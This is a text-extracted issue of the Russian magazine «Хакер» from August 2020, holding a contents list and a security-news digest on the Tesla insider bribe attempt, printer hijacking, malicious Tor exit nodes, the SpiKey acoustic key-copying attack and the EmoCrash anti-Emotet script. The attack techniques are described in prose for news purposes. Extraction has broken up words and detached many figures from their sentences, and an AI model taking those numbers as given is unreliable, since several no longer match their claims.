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«Хакер» не мог бы существовать, и каждый
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Напоминаем, что дает годовая подписка:

год доступа ко всем материалам, уже
опубликованным на Xakep.ru;
год доступа к новым статьям, которые
выходят по будням;
полное отсутствие рекламы на сайте
(при условии, что ты залогинишься);
возможность скачивать выходящие
каждый месяц номера в PDF, чтобы
читать на любом удобном устройстве;
личную скидку 20%, которую
можно использовать для продления
годовой подписки. Скидка накапливается
с каждым продлением.

Если по каким-то причинам у тебя еще нет
подписки или она скоро кончится, 

спеши исправить это!



Август 2020

№ 257

CONTENTS
Всё новое за пос ледний месяц

MEGANews

Как леген дарная ком пания ста ла жер твой ата ки и сог ласилась на выкуп
Премия Гармина

Пра воох раните ли 18 стран нанес ли сок рушитель ный удар по релиз-груп пам
Крах пиратской «Сцены»

SMS-фишинг по-новому и бло киров ка сто рон них камер
Android

Вы жима ем мак симум из пос тэкс плу ата ции
Кунг-фу pivoting

Как мы соз дали соф твер ный метод вскры тия зна мени того iPhone 5c
Тот самый 5c

Как повыша ют при виле гии в Linux
Право на root

Как я взло мал двад цатимил лиар дную кор порацию с помощью бес плат ного сер виса
Chum Bucket

Как работа ет новая уяз вимость в про дук тах ком пании F5
Большая дыра в BIG-IP

Тес тиру ем бра узе ры, которые обе щают не оставлять сле дов
Соревнование в приватности

Со бира ем набор полез ных пла гинов для Firefox
Примочки для лисички

Как зас тавить вин ду все забыть
Заметаем следы в Windows 10

Как работа ют ста тичес кие исполня емые фай лы в Linux
Полная совместимость

Как работа ют перемен ные, режимы адре сации, инс трук ции условно го перехо да
Погружение в ассемблер

Ос ваиваем необыч ные фичи каналь ного уров ня в Linux
Ядерные приколы

Пе реус танав лива ем Windows через уда лен ный дос туп
Когда винда не видна

На прак тике раз бира ем про токол IKE
Гадание по логам IPsec

Ко лон ка Евге ния Зоб нина
Блеск и нищета Huawei

Как соб рать собс твен ный циф роана лого вый пре обра зова тель
Не пустой звук

Под бира ем ком понен ты и мас терим бинар ные часы
Часы для гика

Кто дела ет этот жур нал
Титры



 «Mifrill» Мария Нефёдова
nefedova@glc.ru

 

АТАКА НА TESLA
Ми нис терс тво  юсти ции  США  объ яви ло  об  арес те  27‐лет ного  рос сияни на
Его ра Иго реви ча Крюч кова, который при ехал в США по турис тичес кой визе.
Его  обви нили  в  попыт ке  под купить  сот рудни ка  неназ ванной  ком пании,  рас‐ 
положен ной в Неваде: яко бы Крюч ков пред лагал мил лион дол ларов за уста‐ 
нов ку мал вари в сеть этой ком пании.

Хо тя  в  обви нитель ном  зак лючении  не  рас кры валось  наз вание  ком‐ 
пании‐жер твы, сра зу нес коль ко новос тных агентств сооб щили, что ата ка, ско‐ 
рее все го, была нацеле на на аме рикан скую ком панию Tesla, которой как раз
при над лежит  завод  в  городе  Спаркс  шта та  Невада.  Пред ста вите ли  Tesla
никак  не  ком менти рова ли  эти  слу хи,  но  затем  гла ва  ком пании  Илон  Маск
офи циаль но под твер дил в Twitter,  что целью зло умыш ленни ков была имен но
Tesla. Маск не стал вда вать ся в под робнос ти, но написал, что это была серь‐ 
езная ата ка.

Пра воох раните ли заяв ляют,  что Крюч ков вхо дит в  круп ную прес тупную груп‐ 
пиров ку, которая пла ниро вала исполь зовать мал варь для получе ния дос тупа
к  сети  ком пании‐жер твы,  кра жи  кон фиден циаль ных  докумен тов,  а  затем
вымога тель ства. При этом Крюч ков обе щал сот рудни ку Tesla, что дру гие чле‐ 
ны  его  «коман ды»  устро ят  DDoS‐ата ку,  что бы  отвлечь  вни мание  служ бы
безопас ности и скрыть хищение дан ных.

Пла ны  хакеров  рух нули,  так  как  инсай дер,  которо го  они  пытались  завер‐ 
бовать, сооб щил о про исхо дящем в ФБР. В ито ге аген ты ФБР дер жали Крюч‐ 
кова  под  наб людени ем  поч ти  все  вре мя  его  пре быва ния  в  США,  а  затем
арес товали, соб рав все необ ходимые для судеб ного прес ледова ния доказа‐ 
тель ства.

Сог ласно судеб ным докумен там, Крюч ков заяв лял, что работа ет на некую
груп пиров ку,  которая  уже  дав но  занима ется  подоб ными  «спец про екта ми».
Яко бы в прош лом он уже завер бовал ана логич ным обра зом двух инсай деров,
а  одна  из  взло ман ных  груп пиров кой  ком паний  уже  вып латила  выкуп  в  раз‐ 
мере 4 мил лионов дол ларов.

В нас тоящее вре мя Егор Крюч ков находит ся под стра жей, ему уже предъ‐ 
явле ны обви нения. Если суд приз нает его винов ным, ему гро зит до пяти лет
лишения сво боды.

ВЗЛОМ   ПРИНТЕРОВ28 000

Эк спер ты CyberNews рас ска зали о про веден ном ими экспе римен те, пос вящен ном небезо пас‐ 
ности  IoT‐устрой ств  в  целом  и  прин теров  в  час тнос ти.  При  помощи  поис ковика  Shodan  они
выяви ли  в  интерне те  более    прин теров  с  вклю чен ными фун кци ями  сетевой  печати,
при чем поряд ка   не были защище ны от атак.

800  000
447 000

Выб рав  из  спис ка    слу чай ных  устрой ств,  иссле дова тели  попыта лись  получить  к  ним
дос туп и зас тавить их рас печатать руководс тво по безопас ности.

50  000

В ито ге спе циалис ты отчи тались, что ском про мети рова ли   прин тера из 50 000 (то есть
успешны ми ока зались   атак), напеча тав на них лис товки с пре дуп режде нием о небезо пас‐ 
ности.  Опи раясь  на  эти  циф ры,  иссле дова тели  пред полага ют,  что  из  800  000  под клю чен ных
к интерне ту прин теров по мень шей мере   не защище ны.

27 944
56%

447 000

ТЕЛЕМЕТРИЯ
И HOSTS
Жур налис ты Bleeping Computer обра тили вни мание, что с недав них пор Win‐
dows 10 и Windows Defender счи тают файл hosts (

)  опас ным,  если  в  нем  про писа ны  нас трой ки,  бло киру ющие
сбор телемет рии.

C:\Windows\system32\dri‐
ver\etc\hosts

По информа ции изда ния, с кон ца июля изме нен ный файл hosts опре деля‐ 
ется как пред став ляющий угро зу SettingsModifier:Win32/HostsFileHijack. Если,
получив  такое  пре дуп режде ние,  поль зователь  нажима ет  «Под робнее»,  ему
не объ ясня ют ничего, лишь сооб щают, что файл демонс три рует «потен циаль‐ 
но нежела тель ное поведе ние».

Ес ли  поль зователь  сог ласит ся  устра нить  «угро зу»,  сис тема  очис тит  файл
hosts и вер нет его к сос тоянию по умол чанию. Так же есть воз можность про‐ 
игно риро вать  проб лему,  но  это  раз решит  любые  модифи кации  hosts
в будущем, в том чис ле и вре донос ные.

Ос нователь  Bleeping  Computer  Лоренс  Абрамс  отме чает,  что  в  целом
проб лема лож нополо житель ных сра баты ваний на файл hosts не нова, одна ко
в пос ледние недели люди вдруг ста ли мас сово жаловать ся на подоб ные пре‐ 
дуп режде ния. Абрамс пишет, что сна чала он решил, буд то дело опять в лож‐ 
нополо житель ных  сра баты вани ях,  но  все  же  про вел  нес коль ко  тес тов.
Как  ока залось,  дос таточ но  заб локиро вать  через  файл  hosts  сер веры  Mi‐
crosoft, собира ющие телемет рию, и тут же начина ются проб лемы. В час тнос‐ 
ти, если попытать ся заб локиро вать адре са, перечис ленные ниже.

INFO

Ад реса, бло киров ку которых не любит MS:
www.microsoft.com•
microsoft.com•
telemetry.microsoft.com•
wns.notify.windows.com.akadns.net•
v10‐win.vortex.data.microsoft.com.akadns.net•
us.vortex‐win.data.microsoft.com•
us‐v10.events.data.microsoft.com•
urs.microsoft.com.nsatc.net•
watson.telemetry.microsoft.com•
watson.ppe.telemetry.microsoft.com•
vsgallery.com•
watson.live.com•
watson.microsoft.com•
telemetry.remoteapp.windowsazure.com•
telemetry.urs.microsoft.com•

В  ито ге  спе циалист  при шел  к  выводу,  что  Microsoft,  по  всей  видимос ти,
недав но обно вила Defender таким обра зом, что бы он опре делял, ког да сер‐ 
веры ком пании добав ляют в файл hosts и поль зователь пыта ется бло киро вать
сбор телемет рии.

ОТКРЫТ ИСХОДНЫЙ КОД HAVE I BEEN PWNED?
Трой  Хант,  осно ватель  сер виса  Have  I  Been  Pwned?  (HIBP),  пре дос тавля юще го  воз можность
про верить, не ском про мети рова ны ли учет ные дан ные, объ явил, что пос ле нес коль ких неудач‐ 
ных попыток про дать про ект он решил открыть его исходный код. За про шед шие годы Хант вло‐ 
жил в про ект мно го сил, вре мени и ресур сов, но про дол жать раз вивать HIBP самос тоятель но
и даль ше он не может.

→ «Каж дый байт дан ных, заг ружен ных в сис тему за пос ледние годы, был бес плат но пре дос‐ 
тавлен кем‐то, кто решил улуч шить лан дшафт безопас ности для всех нас.

Фи лосо фия HIBP всег да зак лючалась в  том,  что бы под держи вать сооб щес тво,  а  теперь я
хочу,  что бы  сооб щес тво  под держа ло  HIBP.  Откры тие  исходных  кодов  —  наибо лее  оче вид ный
спо соб сде лать это. Все основные эле мен ты HIBP будут переда ны в руки людей, которые смо‐ 
гут помочь под держи вать сер вис, нев зирая на то, что про исхо дит со мной»
— Трой Хант в сво ем бло ге

ВРЕДОНОСНЫЕ
УЗЛЫ TOR
В  середи не  августа  ИБ‐спе циалист  и  опе ратор  сер вера  Tor,  извес тный
как Nusenu, опуб ликовал тре вож ные резуль таты сво его иссле дова ния. По его
дан ным, с янва ря 2020 года груп па неиз вес тных лиц уста нав ливала кон троль
над выход ными узла ми Tor и про води ла ата ки  типа SSL stripping. В  какой‐то
момент груп пе при над лежала чет верть всех выход ных узлов (380 сер веров),
а  сей час  они  кон тро лиру ют  око ло  10%,  хотя  раз работ чики  Tor  триж ды  при‐ 
нима ли меры, что бы прек ратить эту активность.

Ис сле дова тель  говорит,  что  истинный  мас штаб  опе раций  этой  груп пы
неиз вестен,  но  их  глав ная  цель  опре делен но  получе ние  при были.  Nusenu
объ ясня ет, что зло умыш ленни ки выпол няют ата ки man  in  the middle на поль‐ 
зовате лей Tor и манипу лиру ют тра фиком, про ходя щим через под кон троль ные
им  выход ные  узлы.  Цель  таких MITM‐атак —  при мене ние  тех ники  SSL  strip‐
ping,  то  есть  даун грейд  тра фика  поль зовате лей  с HTTPS‐адре сов  на менее
безопас ные HTTP.

По  мне нию  спе циалис та,  таким  обра зом  груп пиров ка  под меня ет  бит‐ 
койн‐адре са внут ри HTTP‐тра фика, свя зан ного с мик сер‐сер висами. Подоб‐ 
ные  сер висы  помога ют  «запутать  сле ды»,  прев ращая  прос той  перевод
средств  с  одно го  акка унта  на  дру гой  в  слож ную  схе му:  вмес то  одной  тран‐ 
закции сер вис раз бива ет нуж ный пла теж на сот ни или тысячи мел ких перево‐ 
дов, которые отправ ляют ся на раз ные акка унты и про ходят через мно жес тво
кошель ков,  преж де  чем  дос тигнут  истинной  цели.  Фак тичес ки,  под меняя
адре са на уров не HTTP‐тра фика, зло умыш ленни ки эффектив но перех ватыва‐ 
ют средс тва жертв, без ведома как самих поль зовате лей, так и крип товалют‐ 
ных мик сер‐сер висов.

Са ми по себе подоб ные ата ки нель зя наз вать новыми, но иссле дова тель
отме чает невидан ный мас штаб опе рации. Так, опи раясь на кон так тный email‐
адрес  вре донос ных  сер веров,  эксперт  отсле дил  по  мень шей  мере  девять
клас теров  вход ных  узлов,  добав ленных  за  пос ледние  семь  месяцев.  Вре‐ 
донос ная сеть дос тигла сво его пика 22 мая текуще го года, ког да в нее вхо‐ 
дили  380  сер веров  и  груп пиров ка  кон тро лиро вала  23,95%  всех  выход ных
узлов Tor.

Nusenu  не  раз  сооб щал  адми нис тра торам  Tor  о  най ден ных  вре донос ных
узлах, и пос ле пос ледней «зачис тки», про изо шед шей 21 июня 2020 года, воз‐ 
можнос ти  зло умыш ленни ков  силь но  сок ратились.  Впро чем,  по  сос тоянию
на 8 августа 2020 года груп пиров ка по‐преж нему кон тро лиро вала око ло 10%
выход ных узлов.

По мне нию иссле дова теля,  зло умыш ленни ки будут  про дол жать  эти  ата ки
и  далее,  так  как  у  инже неров  Tor  Project  нет  воз можнос ти  тща тель но  про‐ 
верить всех при соеди нив шихся к сети учас тни ков, ведь во гла ву угла ста вит ся
ано ним ность.

Нуж но  ска зать,  что  дру гая  похожая  ата ка    в  2018  году.
Тог да в манипу ляци ях поль зователь ским тра фиком ули чили опе рато ров нес‐ 
коль ких  Tor2Web‐сер висов.  Зло умыш ленни ки  так же  под меняли  адре са  бит‐ 
койн‐кошель ков сво ими. К при меру, ког да поль зовате ли пытались зап латить
выкуп  опе рато рам  шиф роваль щиков  LockeR,  Sigma  и  GlobeImposter,  их
средс тва осе дали в кар манах дру гих хакеров.

бы ла  обна руже на

ДЕНЬГИ ЗА БАГИ
Спе циалис ты ком пании Microsoft отчи тались о работе сво их   прог рамм bug bounty в прош лом
году.  В  ком пании  говорят,  что  на ИБ‐иссле дова телей  явно  пов лияли  пан демия  корона виру са
и каран тины во мно гих стра нах мира: в пер вые месяцы пан демии ИБ‐спе циалис ты были замет‐ 
но активнее.

15

В  2019  году  ком пания  сум марно  вып латила  иссле дова телям  за  обна ружен ные  уяз вимос ти
 дол ларов, то есть  , чем годом ранее (  дол ларов).13 700 000 в 3 раза боль ше 4 400 000

В пери од с 1 июля 2019 года по 30 июня 2020 года   ИБ‐иссле дова телей обна ружи ли 
уяз вимос тей в про дук тах Microsoft.
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Са мая круп ная наг рада за баг сос тавила   и была свя зана с уяз вимостью
в Hyper‐V.

200 000 дол ларов

Боль шие  раз меры  вып лат  обус ловле ны  запус ком  сра зу    новых  прог рамм  воз награж дения
и двух новых иссле дова тель ских гран тов.

6

Вып латы  по  прог раммам  bug  bounty  Microsoft  нам ного  прев зошли  ана логич ные  наг рады
от  Google,  общий  раз мер  которых  в  прош лом  году  сос тавил  лишь  ,
и Google при этом называ ла год рекор дным.

6  500  000  дол ларов

КИТАЙ БЕЗ HTTPS
Спе циалис ты  из  iYouPort,  уни вер ситета  Мэрилен да  и  Great  Firewall  Report
пред ста вили  сов мес тные  отче ты.  Они  гла сят,  что  в  кон це  июля  2020  года
китай ские  влас ти  обно вили  «Великий  китай ский  фай рвол»  таким  обра зом,
что бы бло киро вать зашиф рован ные HTTPS‐соеди нения, которые исполь зуют
сов ремен ные  про токо лы  и  тех нологии,  защища ющие  от  перех вата.  В  час‐ 
тнос ти, под бло киров ку теперь попада ет весь HTTPS‐тра фик, исполь зующий
TLS 1.3 и ESNI (Encrypted Server Name Indication).

Про чий HTTPS‐тра фик,  исполь зующий более  ста рые  вер сии про токо лов,
в том чис ле TLS 1.1 и 1.2, а так же SNI (Server Name Indication), по‐преж нему
не бло киру ется. Дело в том, что в этом слу чае влас ти могут «видеть», к какому
домену пыта ется под клю чить ся поль зователь. Это воз можно через прос мотр
поля SNI на ран них эта пах HTTPS‐соеди нений.

Ес ли  же  соеди нение  уста нав лива ется  через  TLS  1.3,  то  поле  SNI  мож но
скрыть  с  помощью  ESNI.  Из‐за  это го  филь тро вать  тра фик  ста новит ся  все
труд нее, а китай ские влас ти хотят кон тро лиро вать кон тент, дос туп к которо му
может получить населе ние.

Ис сле дова тели приш ли к выводу, что в нас тоящее вре мя в Китае бло киру‐ 
ется весь HTTPS‐тра фик, исполь зующий TLS 1.3 и ESNI, а IP‐адре са, учас тву‐ 
ющие в таких соеди нени ях, получа ют вре мен ные баны, дли тель ностью от двух
до трех минут.

По дан ным экспер тов, сей час сущес тву ет шесть методов обхо да бло киро‐ 
вок «Велико го китай ско го фай рво ла», они могут при менять ся как на сто роне
кли ента  (внут ри  при ложе ний  и  ПО),  так  и  на  сто роне  сер вера  (на  сер верах
и бэкен дах при ложе ний).

«К  сожале нию,  дан ные  стра тегии  могут  ока зать ся  недол госроч ным
решени ем: по мере про дол жения этой игры в кош ки‑мыш ки „Великий
фай рвол“,  веро ятно,  про дол жит совер шенс тво вать свои воз можнос ти
в области цен зуры», — зак люча ют иссле дова тели.

 АКТИВНЫХ ПОЛЬЗОВАТЕЛЕЙ TIKTOK700 000 000

Раз работ чики  TikTok,  при над лежаще го  китай ской  ком пании  ByteDance,  впер вые  с  2018  года
подели лись дан ными о количес тве еже месяч но активных поль зовате лей.

Как ока залось, в нас тоящее вре мя сер висом поль зуют ся око ло    активных поль‐ 
зовате лей  в  месяц  и  око ло    из  них  находят ся  в  США.  Для  срав нения:  в  янва‐ 
ре  2018  года  у  TikTok  нас читыва лось  лишь    активных  поль зовате лей  (око ло

 поль зовате лей в США). Таким обра зом, при рост еже месяч ной ауди тории сер виса
сос тавил поряд ка  .
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Так же  сооб щает ся,  что  за  поч ти  три  года  сущес тво вания  TikTok  он  был  заг ружен  уже  более
 раз.2 000 000 000

«ЗВУКОВОЙ» ВЗЛОМ
Уче ные  из  Наци ональ ного  уни вер ситета  Син гапура  опуб ликова ли  док лад
об инте рес ной  тех нике взло ма зам ков — SpiKey. Они утвер жда ют,  что, под‐ 
слу шав и записав звук, с каким замок откры вает ся, мож но подоб рать к это му
зам ку ключ.

Ис сле дова тели рас ска зыва ют, что физичес кий замок, разуме ется, мож но
взло мать и более тра дици онным спо собом, но это пот ребу ет опре делен ных
зна ний,  навыков  и  инс тру мен тов.  К  тому  же  такой  взлом  оставля ет  сле ды
на внут ренней час ти зам ка, и их могут обна ружить кри мина лис ты.

По сути,  пред ложен ная иссле дова теля ми ата ка пред лага ет исполь зовать
мик рофон обыч ного смар тфо на для зах вата зву ка встав ки и извле чения клю ча
из зам ка. Этот звук поз воля ет сде лать выводы о фор ме клю ча и его бород ке,
а  затем  соз дать  копию.  Спе циаль ный  софт,  соз данный  экспер тами,  опре‐ 
деля ет  вре мя  меж ду  щел чка ми,  которые  воз ника ют  при  кон такте  клю ча
со штиф тами в зам ке, и, осно выва ясь на этих дан ных, вос созда ет сам ключ.

Продолжение статьи →
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Ис сле дова тели  объ ясня ют,  что  на  выходе  прог рамма  пред лага ет  нес коль ко
под ходящих клю чей‐кан дидатов, а не единс твен ный готовый вари ант. Одна ко
такой «акус тичес кий» ана лиз обыч ного клю ча с шестью выс тупами поз воля ет
отбра ковать  более  94%  клю чей  и  оста вить  лишь  око ло  десяти  клю чей‐кан‐ 
дидатов (зачас тую клю чей‐кан дидатов и вов се оста нет ся все го три). На осно‐ 
ве этих дан ных мож но будет соз дать копию клю ча, к при меру с помощью 3D‐
прин тера.

Есть  у  методи ки  SpiKey  и  сла бые  сто роны.  Нап ример,  отдель ные  типы
клю чей при встав ке в замоч ную сква жину изда ют так называ емые перек рыва‐ 
ющиеся  щел чки,  которые  край не  труд но  про ана лизи ровать,  и  поэто му
перед SpiKey уяз вимы толь ко око ло 56% клю чей.

Кро ме  того,  для  наилуч ших  резуль татов  ана лиза  спе циаль ному  ПО  тре‐ 
бует ся  пос тоян ная  ско рость  при  поворо те  клю ча  в  зам ке,  чего  поп росту
не  быва ет  в  реаль ной  жиз ни.  Впро чем,  этот  нюанс  мож но  обой ти,  записав
звук  откры вания‐зак рывания  зам ка  нес коль ко  раз.  Для  это го  ата кующий
может  уста новить  мал варь  на  смар тфон  или  умные  часы  жер твы  (что бы
записы вать нуж ные зву ки) или собирать дан ные с двер ных дат чиков, если те
уком плек тованы мик рофона ми.

Ис сле дова тели отме чают, что записы вать щел чки надо на рас сто янии при‐ 
мер но  десяти  сан тимет ров  от  зам ка,  а  для  более  даль них  дис танций  уже
понадо бит ся парабо личес кий мик рофон.

«Нет  осно ваний  полагать,  что  циф ровые  зам ки  обес печат  луч шую
безопас ность, осо бен но если учесть количес тво наб люда емых сей час
кибера так. Тог да как ата ки на физичес кие зам ки тре буют при сутс твия
зло умыш ленни ка,  циф ровые  ата ки  могут  быть  уда лен ными,  и  это
весь ма  пуга юще.  Воз можно,  нам  сто ит  вдох новить ся  иде ей  двух- 
фактор ной  аутен тифика ции,  и  ком биниро вание  физичес ких  и  циф- 
ровых двер ных зам ков — это наибо лее безопас ный путь для деталь- 
нейше го раз вития», — зак люча ют спе циалис ты.

PROTONMAIL КРИТИКУЕТ APPLE
Гла ва  защищен ного  поч тового  сер виса  ProtonMail  Энди  Йен  выс тупил  с  рез кой  кри тикой
в адрес Apple. Он заявил, что ком пания зло упот ребля ет сво им рыноч ным положе нием, исполь‐ 
зуя App Store для кон тро ля над поль зовате лями и борь бы с кон курен тами. По его сло вам, Apple
дав но  ста ла  монопо лис том,  который  борет ся  с  кон курен тами  при  помощи  совер шенно
негуман ных комис сий, а так же занима ется цен зурой для дик татор ских режимов.

Йен  называ ет  рэкетом  дей ствия  Apple  в  отно шении  раз работ чиков  и  утвер жда ет,  что
с  помощью  комис сии  30%,  которую  Apple  получа ет  с  любых  про даж  в  App  Store,  ком пания
«дер жит всех нас в залож никах», зло упот ребляя властью.

→ «Apple  пыта ется  оправдать  эти  сбо ры,  утвер ждая,  буд то  App  Store  ничем  не  отли чает ся
от  тор гового  цен тра,  где  ком пании,  стре мящи еся  про дать  свои  про дук ты,  дол жны  пла тить
арен дную пла ту вла дель цу  тор гового цен тра  (в дан ном слу чае — ком пании Apple). Этот аргу‐ 
мент  изящ но  игно риру ет  тот  факт,  что  сущес тву ет  лишь  один  тор говый  центр,  ког да  дело
доходит до  iOS, и арен довать пло щадь у кон куриру юще го  тор гового цен тра невоз можно. Нет
ничего  нелегаль ного  в  том,  что  Apple  вла деет  тор говым  цен тром  и  сда ет  пло щади  в  арен ду,
и Apple име ет пол ное пра во вла деть единс твен ным тор говым цен тром. Одна ко про тиво закон но
вла деть  единс твен ным  тор говым  цен тром,  который  уста нав лива ет  чрез мерно  высокие  цены,
что бы нав редить кон курен там»
— Энди Йен в бло ге ProtonMail

ПРИВИВКА
ОТ EMOTET
Вес ной текуще го года мы под робно рас ска зыва ли о груп пе энту зиас тов 

,  в  которую  вхо дят  более  20  ИБ‐спе циалис тов  со  все го  мира,
еще  в  2018  году  объ еди нив шихся  ради  общей  цели — борь бы  с мал варью
Emotet.

Cryp‐
tolaemus

Как ста ло извес тно теперь, в фев рале 2020 года один из учас тни ков этой
коман ды,  Джей мс  Куинн  (James  Quinn)  из  ком пании  Binary  Defense,  обна‐ 
ружил  уяз вимость  в  коде  Emotet.  Тог да,  изу чая  оче ред ные  обновле ния
Emotet, Куинн заметил изме нения в коде одной из полез ных наг рузок. В час‐ 
тнос ти,  изме нения  зат рагива ли  так  называ емый  механизм  устой чивос ти
Emotet,  который  поз воля ет  вро доно су  выживать  пос ле  перезаг рузки
заражен ного устрой ства. Ока залось, что для это го Emotet соз дает спе циаль‐ 
ный ключ реес тра Windows и сох раня ет в нем ключ XOR, который исполь зует‐ 
ся не толь ко что бы обес печить устой чивость, но и в самом начале зараже ния.

Бла года ря пос леду ющим обновле ниям Emotet, которые про ясни ли, как имен‐ 
но работа ет новый механизм устой чивос ти, Куинн сумел написать кро шеч ный
PowerShell‐скрипт, наз ванный EmoCrash. Скрипт исполь зовал клю чи реес тра,
что бы спро воци ровать сбой в работе Emotet.

EmoCrash ска ниро вал компь ютер поль зовате ля и генери ровал на машине
кор рек тный, но вре донос ный для Emotet  ключ реес тра. В ито ге,  ког да  «чис‐ 
тый»  компь ютер,  обра ботан ный  EmoCrash,  под вергал ся  ата ке,  этот  ключ
реес тра  про воци ровал  в  коде  мал вари  перепол нение  буфера,  что  в  ито ге
при води ло к сбою Emotet и пре дот вра щало зараже ние вооб ще.

Ес ли же EmoCrash запус кался на заражен ных машинах и под менял сущес‐ 
тву ющий ключ реес тра, мал варь тоже ава рий но завер шала работу, ког да пов‐ 
торно  обра щалась  к  реес тру.  Это  эффектив но  пре дот вра щало  обмен  дан‐ 
ными меж ду заражен ными хос тами и управля ющи ми сер верами Emotet.

Бо лее того, пос ле при мене ния EmoCrash на машине появ лялись логи сбо‐ 
ев,  содер жащие  иден тифика торы  событий  1000  и  1001.  Их  мож но  было
исполь зовать для выяв ления эндпой нтов с отклю чен ными и уже «мер твы ми»
бинар никами  Emotet.  Это  помога ло  сис темным  адми нис тра торам  быс тро
обна ружи вать, что Emotet пыта ется заразить или уже заразил их сети.

Спе циалис ты  Binary  Defense  понима ли,  что  новость  об  этом  откры тии
необ ходимо дер жать в сек рете, что бы авто ры Emotet не внес ли исправ ления
в свой  код,  но  так же экспер ты  зна ли,  что EmoCrash может помочь  улуч шить
защиту  мно жес тва  ком паний  по  все му  миру.  В  ито ге  спе циалис ты  объ еди‐ 
нили  уси лия  с  ком пани ей  Team  CYMRU,  которая  име ет  мно голет ний  опыт
в деле унич тожения бот нетов и тоже дав но наб люда ет за Emotet.

Эк спер ты Team CYMRU, в свою оче редь, свя зались с CERT мно гих стран
и  пос тарались,  что бы  EmoCrash  тай но  рас простра нил ся  сре ди  раз личных
ком паний.  Дело  в  том,  что  Team  CYMRU  под держи вает  связь  со  125 

  коман дами  CERT,  а  так же  име ет  собс твен ную  рас сылку,
через которую регуляр но доносит полез ную и кон фиден циаль ную информа‐ 
цию более чем до 6000 спе циалис тов.

региональными

Та ким  обра зом,  за  пос ледние  шесть  месяцев  скрипт  EmoCrash  успел
широко рас простра нить ся сре ди ком паний по все му миру. В Binary Defense
говорят,  что  они  никог да  не  узна ют,  сколь ко  ком паний  в  ито ге  уста нови ли
EmoCrash,  но  иссле дова тели  получи ли  мно жес тво  бла годар ных  сооб щений
от фирм, которые сумели пре дот вра тить ата ки Emotet или обна ружи ли у себя
зараже ния. По дан ным Binary Defense, в ито ге их скрипт замет но помог сни‐ 
зить количес тво зараже ний и чис ло ботов.

Ис сле дова тели  счи тают,  что  опе рато ры  Emotet  так  и  не  узна ли  об  их
скрип те  и  баге  в  коде  мал вари,  одна ко  в  начале  августа  2020  года,  спус тя
пол года пос ле обна руже ния  уяз вимос ти Джей мсом Куин ном,  хакеры все же
изме нили работу механиз ма устой чивос ти и устра нили проб лему, на которую
опи рал ся EmoCrash.

Шут ки  ради  Джей мс  Куинн  и  его  кол леги  даже  обра тились  в  MITRE
и попыта лись получить для най ден ной ими уяз вимос ти в Emotet иден тифика‐ 
тор CVE,  как для любой дру гой уяз вимос ти, но в орга низа ции отме тили,  что
Emotet — это мал варь и это про тиво речит пра вилам прис воения CVE.

ЗАЩИТА КОРПОРАТИВНЫХ СЕТЕЙ
Эк спер ты  Positive  Technologies  подели лись  резуль татами  ана лиза  защищен ности  сетевых
перимет ров кор поратив ных информа цион ных сис тем.

В   орга низа ций были выяв лены уяз вимос ти высоко го уров ня рис ка, при чем в    ком‐ 
паний  обна ружил ся  хотя  бы  один  узел  с  уяз вимостью  высоко го  уров ня  рис ка,  для  которой
сущес тву ет обще дос тупный экс пло ит.

84% 58%

Рас пре деле ние иссле дован ных сис тем по отраслям эко номи ки

В откры том дос тупе были най дены экс пло иты для   всех выяв ленных уяз вимос тей. То есть
каж дую  ‐ю уяз вимость мож но исполь зовать, не имея про фес сиональ ных навыков или опы та
обратной раз работ ки.

10%
10

  всех  обна ружен ных  уяз вимос тей может  быть  устра нена  прос той  уста нов кой  акту‐ 
аль ных обновле ний.
По лови на

В   орга низа ций исполь зуют ся прог рам мные про дук ты, про изво дите ли которых офи циаль‐ 
но прек ратили под дер жку и боль ше не выпус кают обновле ния безопас ности.

42%

В    ком паний  есть  при ложе ния,  написан ные  на  язы ке  прог рамми рова ния  PHP  вер сии  5,
который не под держи вает ся с янва ря 2019 года.

32%

Воз раст самой ста рой уяз вимос ти, обна ружен ной в ходе ана лиза, сос тавил  .16 лет

Са мые рас простра нен ные уяз вимос ти на сетевом перимет ре

ПОЛТОРА
МИЛЛИОНА
ЗВОНКОВ
Эк спер ты  из  Уни вер ситета  шта та  Север ная  Кароли на  пред ста вили  на  кон‐ 
ферен ции  USENIX  инте рес ный  док лад  и  рас ска зали  о  про веден ном  ими
экспе римен те, который был пос вящен авто обзво ну.

Для это го иссле дова ния уче ные соз дали огромный телефон ный honeypot
и в  течение один надца ти месяцев  (с мар та 2019  года по январь 2020  года)
управля ли 66 606 телефон ными лини ями. В ито ге сум марно за это вре мя они
получи ли 1 481 201 неп рошеный роботи зиро ван ный зво нок, но номера hon‐
eypot‐телефо нов никог да не попада ли в откры тый дос туп.

В сред нем неп рошеные звон ки пос тупали каж дые 8,42 дня, при чем боль‐ 
шая  часть  робоз вонков  при ходи ла  сво еоб разны ми  вол нами,  которые  спе‐ 
циалис ты  наз вали  «штор мами».  Такие  всплес ки  слу чались  регуляр но,  через
рав ные  про межут ки  вре мени,  и,  похоже,  эти  звон ки  совер шались  в  рам ках
хорошо орга низо ван ных кам паний. За один надцать месяцев экспер ты зафик‐ 
сирова ли 650 таких «штор мов».

Ин терес но,  что  далеко  не  все  звон ки  во  вре мя  таких  всплес ков  активнос ти
исхо дили  от  роботов:  боль шинс тво  зво нив ших  ока зались  живыми  людь ми.
Экспер ты  пред полага ют,  что  в  этом  винова та  так тика  спу фин га  ID  вызыва‐ 
юще го  або нен та.  Дело  в  том,  что  авто обзвон щики  час то  стре мят ся  скрыть
свои  нас тоящие  телефон ные  номера  и  выда ют  себя  за  реаль ных  людей.
Таким обра зом, ког да жер твы про пус кали робоз вонок и поз же перез ванива‐ 
ли  по  под дель ному  номеру,  в  ито ге  они  попада ли  на  номера  honeypot‐
телефо нов иссле дова тель ской груп пы.

«Инте рес но,  что  наш  кол лега  по  лабора тории  тоже  стал  жер твой
такого  „штор ма“.  Сот ни  нез наком цев  бук валь но  завали ли  его  звон- 
ками,  и  они  жалова лись,  что  им  зво нили  с  его  номера!  Излишне
говорить, что он не мог поль зовать ся телефо ном в течение нес коль ких
дней, пока звон ки не утих ли», — отме чают экспер ты.

Ко ман да  уче ных  записа ла  при мер но  10%  (око ло  150  тысяч)  получен ных
робоз вонков,  а  затем  про ана лизи рова ла  их,  что бы  опре делить  источник
и содер жание. Таким обра зом были обна руже ны 2687 уни каль ных кам паний
авто обзво на, самые круп ные из которых рек ламиро вали сту ден ческие 
медицин ское  стра хова ние,  услу ги  прод вижения  в  поис ковой  выдаче Google
и мошен ничес тво с соци аль ным стра хова нием.

ссуды,

Но пожалуй,  наибо лее инте рес ным  выводом,  сде лан ным из  это го  экспе‐ 
римен та,  стал  сле дующий:  отве тив  на  пол тора мил лиона роботи зиро ван ных
